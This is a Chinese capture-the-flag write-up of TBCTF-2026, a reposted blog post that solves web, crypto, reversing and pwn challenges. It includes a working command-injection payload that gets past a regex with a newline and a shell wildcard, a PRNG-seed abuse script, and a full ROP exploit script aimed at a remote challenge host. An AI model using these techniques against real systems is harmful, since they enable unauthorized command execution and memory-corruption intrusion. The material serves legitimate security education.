文章总结: 文档详细解析TBCTF-2026中PingMe的命令注入漏洞利用、RandomCheese的伪随机数预测机制及SanityCheck的词频分析技术,提供完整利用脚本和验证方法,具备较高实战参考价值。 综合评分: 98 文章分类: CTF,WEB安全,漏洞分析,实战经验,代码审计
TBCTF-2026
原创
玄网安全 oPis 玄网安全 oPis
玄网安全
2026年6月27日 18:34 浙江
在小说阅读器读本章
去阅读
TBCTF-2026😶😶😶😶😶😶
Ping Me(web)
Summary
这题的核心是一个典型的命令注入。后端虽然限制了输入只能是“数字和点”,但它错误地使用了 re.match(..., flags=re.MULTILINE),导致只校验了第一行;再配合 shell=True,我们可以通过换行注入第二条命令,并利用通配符在不出现字母的情况下执行 /app/readflag。
Solution
Step 1: 代码审计确认换行注入
源码里最关键的逻辑在 app.py:
- 输入长度必须不超过
15 - 不能包含字母
- 不能包含
$ - 正则检查是
re.match(r"^[\d.]+$", ip, flags=re.MULTILINE) - 最终执行
subprocess.check_output(command, shell=True, executable='/bin/bash')
问题在于 MULTILINE 会让 ^ 和 $ 匹配每一行的开头和结尾,而 re.match() 只要求从字符串开头开始匹配即可。
因此只要第一行是合法的数字,比如 0,后面即使再跟一个换行和新命令,也能通过校验。
也就是说,这样的输入能够绕过过滤:
0
<second command>
在 shell 中,换行本身就是命令分隔符,所以第二行会被当成新的命令执行。
Step 2: 用纯符号路径执行 /app/readflag
还需要解决两个限制:
- 不能输入字母,所以不能直接写
/app/readflag - 总长度不能超过
15
查看 Dockerfile 和 readflag.c 可以知道:
- 程序工作目录在
/app - 存在一个 SUID 可执行文件
readflag readflag会直接打印环境变量FLAG
于是可以利用 Bash 通配符来避免字母:
0
/???/????????
解释如下:
/???/????????正好能展开成/app/readflag- 第一行
0可以通过“只含数字”的校验 - 整个 payload 长度刚好是
15
实际提交后,服务端会执行两条命令:
ping -c 1 -W 2 0
/app/readflag
下面是一份完整利用脚本:
import re
import sys
import requests
URL = "https://web-ping-me.tracebash.xyz/api/ping"
PAYLOAD = "0\n/???/????????"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")
def main():
response = requests.post(
URL,
data=PAYLOAD,
headers={"Content-Type": "text/plain"},
timeout=10,
)
response.raise_for_status()
body = response.json().get("output", "")
match = FLAG_RE.search(body)
if not match:
raise RuntimeError("Flag not found in response.")
print(f"payload: {PAYLOAD!r}")
print(f"flag: {match.group(0)}")
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"error: {exc}")
sys.exit(1)
运行结果:
payload: '0\n/???/????????'
flag: TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}
Flag
TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}
Random Cheese(web)
Summary
这题的核心不是拼运气,而是发现用户可设置的 lucky_number 会被后端直接当成随机数种子。由于同一个 lucky_number 对应的 10 次抽奖结果完全固定,我们只要离线枚举 1..1000,找到任意一个总分至少 85 的号码,就能稳定拿到 flag。
Solution
Step 1: 确认抽奖结果可预测
站点提供注册、登录、抽奖和设置幸运数字功能,要求 10 抽后总分达到 85+ 才能 claim flag。
测试后可以确认:
POST /spin会直接返回本次抽中的分值- 修改
lucky_number会重置当前抽奖进度 - 对同一个
lucky_number,连续 10 抽的结果每次都完全一致
这说明服务端并不是真随机,而是使用 lucky_number 初始化伪随机数生成器。其行为可等价理解为:
import random
rng = random.Random(lucky_number)
score_list = [rng.randint(1, 10) for _ in range(10)]
本地验证后,Python 的 random.Random(lucky_number).randint(1, 10) 生成序列与站点返回结果一致。
Step 2: 离线枚举 lucky number 并在线 claim
接下来只需要枚举 1..1000 的所有幸运数字,找出 10 次得分总和大于等于 85 的值即可。
例如,lucky_number = 854 的结果为:
rolls = [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total = 87
把幸运数字改成 854,然后连续抽 10 次,最后提交 claim,就能直接得到 flag。
import random
import re
import sys
import uuid
import requests
BASE_URL = "https://web-random-cheese.tracebash.xyz"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")
def find_winning_lucky_number():
for lucky_number in range(1, 1001):
rng = random.Random(lucky_number)
rolls = [rng.randint(1, 10) for _ in range(10)]
total = sum(rolls)
if total >= 85:
return lucky_number, rolls, total
raise RuntimeError("No winning lucky number found.")
def exploit():
lucky_number, rolls, total = find_winning_lucky_number()
session = requests.Session()
username = "u" + uuid.uuid4().hex[:8]
password = "p" + uuid.uuid4().hex[:8]
session.post(
f"{BASE_URL}/register",
data={"username": username, "password": password},
timeout=10,
)
session.post(
f"{BASE_URL}/login",
data={"username": username, "password": password},
timeout=10,
)
session.post(
f"{BASE_URL}/update_lucky",
data={"lucky_number": str(lucky_number)},
timeout=10,
)
for _ in range(10):
session.post(f"{BASE_URL}/spin", timeout=10)
response = session.post(f"{BASE_URL}/claim", timeout=10)
match = FLAG_RE.search(response.text)
if not match:
raise RuntimeError("Flag not found in server response.")
print(f"winning_lucky_number: {lucky_number}")
print(f"rolls: {rolls}")
print(f"total: {total}")
print(f"flag: {match.group(0)}")
if __name__ == "__main__":
try:
exploit()
except Exception as exc:
print(f"error: {exc}")
sys.exit(1)
运行结果:
winning_lucky_number: 854
rolls: [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total: 87
flag: TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}
Flag
TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}
Sanity Check
Summary
附件里给了一个 flag_pool 目录,里面有 8001 个看起来都像真的 TBCTF{...}。核心思路是把所有 flag 按下划线拆词做词频统计,真 flag 通常会包含与题意强相关、且只出现一次的关键词。
Solution
Step 1: 统计词频并找异常值
先遍历所有 flag_*.txt,提取 TBCTF{} 内部内容,再按 _ 分词。
这批伪造 flag 大多由固定词表随机拼接而成,而 s4n1ty、v3r1f13d 这两个词只出现了一次,和题目名 Sanity Check 高度相关,因此对应文件就是最可疑的真 flag。
import collections
import pathlib
import re
import sys
FLAG_RE = re.compile(r"^TBCTF\{([A-Za-z0-9_]+)\}$")
def load_flags(base: pathlib.Path):
flags = []
for path in sorted(base.glob("*.txt")):
content = path.read_text(encoding="utf-8").strip()
match = FLAG_RE.fullmatch(content)
if not match:
continue
tokens = match.group(1).split("_")
flags.append((path.name, content, tokens))
return flags
def choose_real_flag(flags):
counts = collections.Counter()
for _, _, tokens in flags:
counts.update(tokens)
def score(item):
_, _, tokens = item
singleton_count = sum(1 for token in tokens if counts[token] == 1)
rarity_score = sum(1 / counts[token] for token in tokens)
return (singleton_count, rarity_score)
return max(flags, key=score)
def main():
if len(sys.argv) > 1:
base = pathlib.Path(sys.argv[1])
else:
base = pathlib.Path(r"C:\Users\ZhuanZ(无密码)\Downloads\sanity_check\flag_pool")
flags = load_flags(base)
filename, flag, _ = choose_real_flag(flags)
print(f"file: {filename}")
print(f"flag: {flag}")
if __name__ == "__main__":
main()
运行结果:
file: flag_3482.txt
flag: TBCTF{s4n1ty_v3r1f13d_8291}
Step 2: 快速验证
直接全文检索异常词可以再次确认:
rg -n "s4n1ty|v3r1f13d|8291" flag_pool
命中结果只有一条:
flag_3482.txt:1: TBCTF{s4n1ty_v3r1f13d_8291}
Flag
TBCTF{s4n1ty_v3r1f13d_8291}
Something
Summary
题目给了一个 Go 编译的 64 位静态 ELF。程序存在多条诱饵校验路径,真正的校验逻辑在 main.reallocate_memory_region:取 TBCTF{...} 中间 16 字节,反转后异或,再和加密常量比较。
Solution
Step 1: 识别 Go 符号和加密字符串
先查看文件类型和符号:
file chall
go tool nm chall | grep 'main\.'
可以看到关键符号:
main.encPrompt
main.encIncorrect
main.encCorrect
main.encExpected
main.reallocate_memory_region
程序里的提示、错误信息、正确提示和 expected 数据都被 XOR 加密。 解密用的固定值来自 TBCTF{ 六个字符的异或:
'T' ^ 'B' ^ 'C' ^ 'T' ^ 'F' ^ '{' = 0x3c
字符串最终还会再异或 0x2a,所以整体等价于:
byte ^ 0x3c ^ 0x2a = byte ^ 0x16
Step 2: 还原真正校验逻辑
main.main 先检查输入必须满足:
TBCTF{...}
中间内容长度必须是 16。前面几个分支是诱饵,例如哈希、ssh 前缀、特殊字节、乘积取模等,命中后会输出 fake flag。
真正校验在:
main.reallocate_memory_region
核心逻辑等价于:
buf = input_inner[:16]
buf = buf[::-1]
buf = [x ^ 0xd7 for x in buf]
buf = [x ^ 0x2a for x in buf]
buf == decrypt(encExpected)
其中:
0xd7 ^ 0x2a = 0xfd
decrypt(encExpected) = encExpected ^ 0x16
所以反推:
input_inner = reverse((encExpected ^ 0x16) ^ 0xfd)
= reverse(encExpected ^ 0xeb)
完整 solve 脚本如下:
#!/usr/bin/env python3
enc_expected = bytes.fromhex(
"ca89db998d86d886b499db93b49dd899"
)
inner = bytes([b ^ 0xEB for b in enc_expected])[::-1]
flag = b"TBCTF{" + inner + b"}"
print(flag.decode())
运行结果:
TBCTF{r3v_x0r_m3mfr0b!}
验证:
printf '%s\n' 'TBCTF{r3v_x0r_m3mfr0b!}' | ./chall
输出:
Enter flag: Correct! Flag is your input.
Flag
TBCTF{r3v_x0r_m3mfr0b!}
LayerCake
Summary
题目给了一个 stripped 的 64 位 PIE ELF。程序每次运行都会根据 time() 生成随机层,导致输出看起来不同;但真正的静态加密层可以直接逆回去,最终得到 flag。
Solution
Step 1: 分析程序流程
先查看文件信息:
file challenge
结果显示是 64 位 ELF:
challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped
运行时需要传入一个 0-255 的 key:
./challenge 0
./challenge 128
./challenge 255
输出是乱码,并且每次运行可能不同。 逆向 main 后可以看到核心流程:
memcpy(buf, enc_data, 0x1a);
srand(time(0));
r = rand() % 100;
xor_all(buf, r);
xor_index(buf);
rol3(buf);
xor_all(buf, user_key);
puts(buf);
也就是说,程序对静态密文做了几层处理:
1. 每字节异或 rand()%100
2. 每字节异或 7*i+11
3. 每字节循环左移 3 位
4. 每字节异或用户输入 key
其中第 1 层和第 4 层都是单字节 XOR 层,所以某些时刻用户 key 可以抵消随机层,输出正确 flag。
Step 2: 还原静态层
.data 中的 26 字节密文为:
08 d3 f8 23 66 c8 11 1b 47 4d fe 3a 5b c3 cb 9b bc e0 4e 7f d0 71 62 4b 5c 9c
先逆掉固定下标异或,再做循环左移 3 位,可以得到一段带固定 XOR mask 的数据。 利用 flag 前缀 TBCTF{ 可以推出最终 mask 为 0x4c。
完整 solve 脚本如下:
#!/usr/bin/env python3
enc = bytes.fromhex(
"08d3f82366c8111b474dfe3a5bc3cb9b"
"bce04e7fd071624b5c9c"
)
def rol8(x, n):
return ((x << n) & 0xff) | (x >> (8 - n))
# 还原固定层:先异或 7*i+11,再循环左移 3 位
base = bytes(
rol8(b ^ ((7 * i + 11) & 0xff), 3)
for i, b in enumerate(enc)
)
# 利用 TBCTF{ 前缀恢复最后的单字节 XOR mask
mask = base[0] ^ ord("T")
flag = bytes(c ^ mask for c in base)
print(flag.decode())
运行结果:
TBCTF{mult1_lay3r_r3v3rs3}
Step 3: 解释“正确时刻”
程序中的随机层为:
r = rand() % 100;
然后输出前还会异或用户输入的 key。
因为 XOR 和循环移位都是可逆的,随机层本质上只是在最终输出上叠了一层单字节扰动。 当用户输入的 key 恰好抵消当前 rand()%100 对应的扰动时,程序就会直接打印正确 flag。
题目描述中的:
Every now and then, one of those is right.
对应的就是这个逻辑。
Flag
TBCTF{mult1_lay3r_r3v3rs3}
Broken Trust Protocol
Summary
题目给了一段简化的 DH 协议和一次通信抓包。真正的问题不在 AES,而在握手阶段允许恶意客户端把 B 伪造成 p-1,导致共享密钥只会落到极小的候选集合里。
Solution
Step 1: 利用小子群注入把共享密钥压缩成两个候选值
题目源码里客户端发出的值固定成了 B = p - 1。
在模素数域中,(p - 1)^a mod p 只可能等于 1 或 p - 1。
因此不需要知道私钥 a,只要分别用这两个候选值做 sha256,再尝试 AES-CBC 解密即可。
这里实际正确的是 shared = p - 1。
from hashlib import sha256
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def parse_capture(path: Path) -> dict[str, str]:
values: dict[str, str] = {}
for line in path.read_text(encoding="utf-8").splitlines():
key, value = line.split(" = ", 1)
values[key.strip()] = value.strip()
return values
base = Path("broken_trust_protocol")
values = parse_capture(base / "capture.txt")
p = int(values["p"])
iv = bytes.fromhex(values["iv"])
ciphertext = bytes.fromhex(values["ciphertext"])
for shared in (1, p - 1):
key = sha256(str(shared).encode()).digest()[:16]
plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
try:
flag = unpad(plaintext, 16).decode()
except ValueError:
continue
if flag.startswith("TBCTF{"):
print(flag)
break
运行后输出:
TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}
Flag
TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}
Harmonic Cipher
Summary
附件里有一个 ciphertext.bin 和一段 8 秒的纯音乐。核心思路是把每一秒的主频率提取出来,然后把这些频率对 256 取模,得到一个循环异或密钥。
Solution
Step 1: 从音频中提取每秒的主频
melody.wav 一共 8 秒,每秒都只有一个很明显的单音。
对每一秒分别做 FFT,可以得到主频依次为:
440, 494, 523, 587, 659, 698, 784, 880
也就是从 A4 一路上行到 A5 的音阶。
Step 2: 用 freq % 256 还原异或密钥
把上面的频率逐个对 256 取模:
[184, 238, 11, 75, 147, 186, 16, 112]
这 8 个字节正好可以作为循环 XOR 密钥来解开 ciphertext.bin。
from pathlib import Path
import wave
import numpy as np
def extract_frequencies(wav_path: Path) -> list[int]:
with wave.open(str(wav_path), "rb") as wav_file:
sample_rate = wav_file.getframerate()
samples = np.frombuffer(wav_file.readframes(wav_file.getnframes()), dtype=np.int16)
duration = len(samples) // sample_rate
frequencies: list[int] = []
for second in range(duration):
segment = samples[second * sample_rate : (second + 1) * sample_rate].astype(np.float64)
spectrum = np.abs(np.fft.rfft(segment))
bins = np.fft.rfftfreq(len(segment), 1 / sample_rate)
dominant = int(round(float(bins[np.argmax(spectrum[1:]) + 1])))
frequencies.append(dominant)
return frequencies
base = Path("harmonic_cipher/harmonic_cipher")
frequencies = extract_frequencies(base / "melody.wav")
key = bytes(freq % 256 for freq in frequencies)
ciphertext = (base / "ciphertext.bin").read_bytes()
plaintext = bytes(value ^ key[index % len(key)] for index, value in enumerate(ciphertext))
print(frequencies)
print(list(key))
print(plaintext.decode())
运行后输出:
[440, 494, 523, 587, 659, 698, 784, 880]
[184, 238, 11, 75, 147, 186, 16, 112]
TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}
Flag
TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}
Quantum Echo
Summary
题目给了两把 RSA 公钥和同一个密文。关键点在于两把公钥复用了同一个素因子,只要做一次 gcd(n1, n2) 就能把模数分解掉。
Solution
Step 1: 对两把公钥做 GCD
把 public1.pem 和 public2.pem 里的模数取出来后,计算:
gcd(n1, n2) = p
如果结果不是 1,就说明两把公钥共享素因子。
接着就能分别得到:
q1 = n1 / p
q2 = n2 / p
然后按普通 RSA 流程恢复私钥指数 d 并尝试解密。
题目密文是用第一把公钥加密的,所以用 n1 那一套参数可以直接出 flag。
from math import gcd
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse, long_to_bytes
base = Path("QuantumEcho")
key1 = RSA.import_key((base / "public1.pem").read_bytes())
key2 = RSA.import_key((base / "public2.pem").read_bytes())
ciphertext = int((base / "ciphertext.txt").read_text(encoding="utf-8").strip())
shared_prime = gcd(key1.n, key2.n)
for key in (key1, key2):
other_prime = key.n // shared_prime
phi = (shared_prime - 1) * (other_prime - 1)
d = inverse(key.e, phi)
plaintext = long_to_bytes(pow(ciphertext, d, key.n))
if plaintext.startswith(b"TBCTF{"):
print(plaintext.decode())
break
运行后输出:
TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}
Flag
TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}
State Desync
Summary
题目给的是一个自制流加密器,两个初始种子都只有 8 bit。既然状态空间只有 256 * 256,最直接的方法就是完整爆破,再用 flag 前缀筛出正确明文。
Solution
Step 1: 爆破两个 8 位种子
算法虽然看起来有自定义 S-Box、变长时钟和反馈移位,但真正的密钥空间非常小。
把注释里的密文读出来后,直接枚举 seed_a 和 seed_b 即可。
找到明文以 TBCTF{ 开头、以 } 结尾的那组状态就是答案。
最终命中的种子是 seed_a = 66、seed_b = 19。
import binascii
import re
from pathlib import Path
def custom_sbox(value: int) -> int:
return ((value ^ 0x5A) + 0x33) % 256
def encrypt(data: bytes, seed_a: int, seed_b: int) -> bytes:
state_a = seed_a
state_b = seed_b
ciphertext = bytearray()
for byte in data:
clock_steps = (state_a & 0x0F) + 1
for _ in range(clock_steps):
feedback = (
((state_b >> 7) ^ (state_b >> 5) ^ (state_b >> 2) ^ (state_b >> 1)) & 1
)
state_b = ((state_b << 1) | feedback) & 0xFF
state_a = custom_sbox(state_a ^ state_b)
keystream_byte = custom_sbox(state_b) ^ state_a
ciphertext.append(byte ^ keystream_byte)
return bytes(ciphertext)
content = Path("state_desync/challenge.py").read_text(encoding="utf-8")
match = re.search(r'unhexlify\("([0-9a-f]+)"\)', content)
ciphertext = binascii.unhexlify(match.group(1))
for seed_a in range(256):
for seed_b in range(256):
plaintext = encrypt(ciphertext, seed_a, seed_b)
if plaintext.startswith(b"TBCTF{") and plaintext.endswith(b"}"):
print(seed_a, seed_b)
print(plaintext.decode())
raise SystemExit
运行后输出:
66 19
TBCTF{h1dd3n_st4t3_m4chin3_f4il}
Flag
TBCTF{h1dd3n_st4t3_m4chin3_f4il}
Bespoke Superblock
Summary
题目给了一个奇怪的磁盘镜像和一个损坏的解析脚本。核心思路是利用脚本中泄露的自定义文件系统结构解析 superblock,再从指定 inode 位置按块提取数据,最后对提取结果整体 XOR 0x20 还原 flag。
Solution
Step 1: 解析自定义 superblock
parser.py 中可以看到文件系统从 0x1000 开始,superblock 结构为:
Magic : 4 bytes
BlockSize : 2 bytes
TotalBlocks: 4 bytes
FlagInode : 4 bytes
Padding : 2 bytes
解析后得到:
Magic = TBFS
Block Size = 512
TotalBlocks = 8
Flag Inode = 0x1020
原脚本每个 block 只读取前 4 字节,将 8 个 block 的数据拼接后得到一段疑似被编码的数据。
完整 solve 脚本如下:
import struct
IMG_PATH = "challenge.img"
def main():
with open(IMG_PATH, "rb") as f:
# Custom filesystem starts at 0x1000
f.seek(0x1000)
header = f.read(16)
magic, block_size, total_blocks, flag_inode = struct.unpack(
"<4s H I I 2x",
header
)
if magic != b"TBFS":
raise ValueError(f"Invalid magic: {magic!r}")
print("[+] Found TBFS")
print(f"[+] block_size = {block_size}")
print(f"[+] total_blocks = {total_blocks}")
print(f"[+] flag_inode = 0x{flag_inode:x}")
raw = b""
for i in range(total_blocks):
offset = flag_inode + i * block_size
f.seek(offset)
# Each block stores 4 bytes of the hidden data
raw += f.read(4)
print("[+] raw:", raw)
# Extra encoding layer: every byte is XORed with 0x20
flag = bytes(b ^ 0x20 for b in raw).rstrip(b"\x00")
print("[+] flag:", flag.decode())
if __name__ == "__main__":
main()
运行结果:
[+] Found TBFS
[+] block_size = 512
[+] total_blocks = 8
[+] flag_inode = 0x1020
[+] raw: b'tbctf[SPAT\x11AL\x7fAWARE\x7fXOR\x7f\x11\x13\x13\x17] '
[+] flag: TBCTF{spat1al_aware_xor_1337}
Step 2: 修复编码层
raw 数据中存在不可打印字符:
\x11 \x13 \x17 \x7f
这些字符分别可以通过 XOR 0x20 还原为:
\x11 ^ 0x20 = 1
\x13 ^ 0x20 = 3
\x17 ^ 0x20 = 7
\x7f ^ 0x20 = _
同时,整个字符串都被 XOR 过,因此:
tbctf[ ... ] -> TBCTF{ ... }
最终得到正确 flag。
Flag
TBCTF{spat1al_aware_xor_1337}
Banned Bytes
Summary
程序存在栈溢出,但输入会过滤 x、g、a、. 四个字节。利用 ROP 先写入无 banned byte 的编码字符串,再通过 XOR gadget 在内存中修复为 flag.txt,最后调用 print_file("flag.txt") 读取 flag。
Solution
Step 1: 分析溢出与过滤
vuln 中栈上 buffer 大小为 0x50,但程序调用 read(0, buf, 0x200),因此可以覆盖返回地址。
返回地址偏移为:
0x50 + 8 = 0x58
程序读入后会过滤以下字符:
BAD = b"xga."
也就是说不能直接在 payload 中放入 flag.txt,否则其中的 a、g、.、x 会被替换成 \x00。
Step 2: 构造 ROP 修复字符串
二进制中存在以下可用 gadget:
0x40125b : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x401269 : mov qword ptr [r13], r12 ; ret
0x401264 : pop r14 ; pop r15 ; ret
0x40126e : xor byte ptr [r15], r14b ; ret
0x401272 : pop rdi ; ret
利用方式:
- 先向
.bss写入安全字符串fl\f/tyt`。 - 通过 XOR 1 修复成
flag.txt。 - 调用
print_file("flag.txt")。 - 调用
fflush(NULL)保证输出刷新。
字符串修复关系如下:
fl`f/tyt
^^^ ^
flag.txt
对应:
` ^ 1 = a
f ^ 1 = g
/ ^ 1 = .
y ^ 1 = x
远程服务通过 socat ... pty 启动,payload 中的 \x12 会被 PTY 当成 Ctrl-R 吞掉,所以发送前需要用 \x16,也就是 Ctrl-V,对 \x12 进行转义:
data.replace(b"\x12", b"\x16\x12")
完整 exploit 如下:
from pwn import *
import re
context.arch = "amd64"
HOST = "13.127.119.28"
PORT = 1338
BAD = b"xga."
def p64x(x):
return p64(x)
def tty_quote(data: bytes) -> bytes:
"""
remote socat uses pty.
\x12 is Ctrl-R and will be swallowed by tty line discipline.
Prefix it with Ctrl-V (\x16) so the program receives literal \x12.
"""
return data.replace(b"\x12", b"\x16\x12")
pop4 = 0x40125b # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_r13_r12 = 0x401269 # mov qword ptr [r13], r12 ; ret
pop_r14_r15 = 0x401264 # pop r14 ; pop r15 ; ret
xor_r15_r14b = 0x40126e # xor byte ptr [r15], r14b ; ret
pop_rdi = 0x401272 # pop rdi ; ret
print_file_plt = 0x401060
fflush_plt = 0x401050
writebuf = 0x404060
payload = b"A" * 0x58
# target : f l a g . t x t
# encoded: f l ` f / t y t
encoded = b"fl`f/tyt"
# write encoded string to .bss
payload += p64x(pop4)
payload += encoded
payload += p64x(writebuf)
payload += p64x(0)
payload += p64x(0)
payload += p64x(mov_r13_r12)
# xor 1 修复:`->a, f->g, /->., y->x
for off in [2, 3, 4, 6]:
payload += p64x(pop_r14_r15)
payload += p64x(1)
payload += p64x(writebuf + off)
payload += p64x(xor_r15_r14b)
# print_file("flag.txt")
payload += p64x(pop_rdi)
payload += p64x(writebuf)
payload += p64x(print_file_plt)
# fflush(NULL)
payload += p64x(pop_rdi)
payload += p64x(0)
payload += p64x(fflush_plt)
# crash after flush
payload += p64x(0)
assert not any(c in BAD for c in payload), "raw payload contains banned byte"
wire_payload = tty_quote(payload)
print("[+] raw payload len :", len(payload))
print("[+] wire payload len:", len(wire_payload))
print("[+] quoted \\x12 count:", payload.count(b"\x12"))
io = remote(HOST, PORT)
io.sendline(wire_payload)
data = io.recvall(timeout=5)
print(data.decode("latin-1", errors="ignore"))
m = re.search(rb"TBCTF\{[^}\r\n]+\}", data)
if m:
print("[+] FLAG:", m.group().decode())
else:
print("[-] flag not found")
Step 3: 获取 flag
运行脚本:
python3 exp.py
输出:
[+] raw payload len : 320
[+] wire payload len: 332
[+] quoted \x12 count: 12
[+] Opening connection to 13.127.119.28 on port 1338: Done
...
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
[+] FLAG: TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
Flag
TBCTF{r0p_byp4551ng_ch4r5_4r3_s0_3z}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《TBCTF-2026》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论